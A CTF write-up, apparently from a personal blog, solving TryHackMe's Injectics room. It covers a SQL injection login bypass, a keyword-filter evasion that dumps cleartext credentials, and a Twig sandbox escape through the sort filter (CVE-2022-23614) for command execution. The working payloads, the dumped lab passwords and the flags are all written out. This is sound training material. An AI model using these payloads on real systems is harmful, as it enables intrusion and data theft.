Injectics - TryHackMe CTF Write-Up

· prosetesting's blog

TryHackMe Injectics: SQLi auth bypass plus cleartext password dump for flag 1, then Twig 2.14.0 SSTI sandbox escape (CVE-2022-23614) for flag 2.

Table of Contents

Injectics - TryHackMe CTF Write-Up #

🏴 Platform: TryHackMe
🔬 Category: Web Application Pentesting (Injection)
🟠 Difficulty: Medium
📅 Date: 2026-06-12
✍️ Author: t0nt0n
⏱️ Reading time: ~7 min

Two flags, two injection classes. Flag 1 is a SQL injection chain that ends in a cleartext password dump. Flag 2 is a Server-Side Template Injection that looks unexploitable until you notice one filter that the Twig sandbox forgot to lock down.

Reconnaissance #

The home page leaks a developer identity and a log file in HTML comments:

1<!-- Website developed by John Tim - dev@injectics.thm-->
2<!-- Mails are stored in mail.log file-->

mail.log describes a watchdog service ("Injectics") that re-inserts default credentials into the users table every minute if the table is deleted or corrupted. Those defaults do not work as-is, but the message confirms the table name and that passwords live in users.

Endpoint map:

Endpoint Role
login.php normal login form, posts to functions.php (AJAX)
functions.php login handler, SQLi here
adminLogin007.php "Login as Admin" page, prepared statement (not injectable)
dashboard.php leaderboard, renders Welcome, {fname}! (SSTI sink)
edit_leaderboard.php admin-only UPDATE, second SQLi
update_profile.php profile edit, sets the fname rendered on the dashboard
/flags/ 403, no directory listing

Source is web-readable, which pins the template engine:

1curl -s http://$IP/vendor/composer/installed.json | grep -A2 '"twig/twig"'
2# twig/twig  v2.14.0

Twig 2.14.0 is the key fact for flag 2.

Home page HTML comments leaking the developer email and the mail.log file

Rabbit Holes #

The dead ends that cost real time, documented so future-me does not repeat them.

Injecting on the wrong login page. The obvious target is the "Login as Admin" page (adminLogin007.php). Feeding it superadmin@injectics.thm'-- - does nothing: it is a parameterized query, immune to injection. The injectable login is the normal one (functions.php). And even that bypass does not reveal a flag, it only grants a session. The dashboard after the bypass shows Welcome, admin! with no flag (redirect carries isadmin=false). The bypass is only a means to reach the admin-only leaderboard editor.

The client-side keyword filter. The login and leaderboard forms run JavaScript that pops Invalid keywords detected and blocks the request before it leaves the browser as soon as it sees ' " or and union select. This also catches the server-side bypass payload seselectlect because the substring select is still present. Conclusion: the forms cannot carry the injection, the request has to be crafted out of band (Burp Repeater, DevTools console, or curl). The server-side filter is a separate, weaker str_replace single pass on or/and/union/select, trivially defeated by nesting (seselectlect -> select, passwoorrd -> password).

Reading /flags/ over SQL. Full SQLi as root@localhost, so LOAD_FILE looked promising. Dead end: @@secure_file_priv = /var/lib/mysql-files/, which blocks both LOAD_FILE and INTO OUTFILE outside that directory. No file read, no webshell drop through MySQL.

Escaping the Twig sandbox the "normal" way. The classic {{_self.env...}} chain is dead here: any reference to _self throws Tag "import" is not allowed, because in Twig 2.x _self routes through the macro import machinery and the sandbox blocks the import tag. _context holds only _parent, so there is no object to pivot from. The map, filter and reduce filters reject string callables (The callable passed to the X filter must be a Closure in sandbox mode), a restriction added in Twig 2.13.1. Method and property access on any object is blocked by the SecurityPolicy. It really looks unexploitable.

Brute-forcing the flag filename. /flags/ returns 403 with no listing, and flag.txt / flag1.txt / flag2.txt all 404. The file turned out to have a random 32-hex name, so guessing was never going to work. RCE was mandatory to even learn the filename.

Exploitation #

Flag 1: SQLi chain to a cleartext password #

A three-step chain, because no single payload prints the flag.

Step 1, auth bypass to get a session. Comment out the password check on the normal login. The session is needed to reach edit_leaderboard.php (which 302-redirects without one).

1POST /functions.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3
4username=superadmin@injectics.thm'-- -&password=lol&function=login

Response: {"status":"success","is_admin":"true",...,"redirect_link":"dashboard.php?isadmin=false"}.

Step 2, SQLi in the leaderboard editor (results exfiltrated through the dashboard). The UPDATE behind edit_leaderboard.php puts the numeric fields unquoted. Inject into gold, write a subquery result into the country column (which is displayed back on the dashboard), and comment out the trailing WHERE so every row is overwritten. Bypass the server filter with seselectlect and passwoorrd.

1POST /edit_leaderboard.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3Cookie: PHPSESSID=<session from step 1>
4
5gold=0, country=(seselectlect group_concat(email,0x3a,passwoorrd) from users)-- -&silver=0&bronze=0&rank=1&country=z

The response is a 302 to dashboard.php. Load the dashboard and read the Country column:

Reveal dumped credentials
dev@injectics.thm:2342sdsfwf2wr2rf            (auth=1)
superadmin@injectics.thm:34234vsdfwr2r2wf2r2  (auth=0, the real admin)

Passwords are stored in plaintext, so there is nothing to crack.

Dashboard leaderboard with the dumped cleartext credentials in the Country column

Step 3, log in for real. adminLogin007.php is a prepared statement, so it cannot be bypassed, but it accepts the genuine credentials. Submit the form normally:

The session becomes a true admin and the dashboard prints flag 1.

Flag 1 displayed on the admin dashboard

Flag 2: Twig SSTI via the sort filter (CVE-2022-23614) #

The fname field of update_profile.php is rendered through Twig on the dashboard (Welcome, {fname}!). Confirm with {{7*7}} -> 49.

The sandbox blocks almost everything (see Rabbit Holes), but there is one hole. Twig 2.13.1 restricted map, filter and reduce callables to closures, but forgot the sort filter. That gap is CVE-2022-23614, fixed only in 2.14.11. On 2.14.0, sort('<php_function>') still passes a string callable straight to PHP. Pairing it with passthru, which writes its output directly to the response, gives reflected RCE with no reverse shell.

Confirm code execution (no argument, no stderr to worry about):

1{{['id','']|sort('passthru')}}

Dashboard prints Welcome, uid=33(www-data) gid=33(www-data) ....

Two gotchas before reading the flag:

Locate and read the randomly named flag file (the * glob is expanded because passthru runs through sh -c):

1POST /update_profile.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3Cookie: PHPSESSID=<admin session>
4
5fname={{['cat /var/www/html/flags/* 2>%261','']|sort('passthru')}}&lname=x&email=superadmin@injectics.thm

%261 is &1 URL-encoded, since a raw & would split the POST body. Reload /dashboard.php and the flag replaces the username in the welcome line.

Flags #

Reveal Flag 1 (admin panel)

THM{INJECTICS_ADMIN_PANEL_007}

Reveal Flag 2 (SSTI RCE)

THM{5735172b6c147f4dd649872f73e0fdea}

Tools Used #

Lessons Learned #

last updated:
⬛⚪⬛
⬛⬛⚪  ☠ user
⚪⚪⚪  rm -rf /ignorance && echo 42 > /dev/brain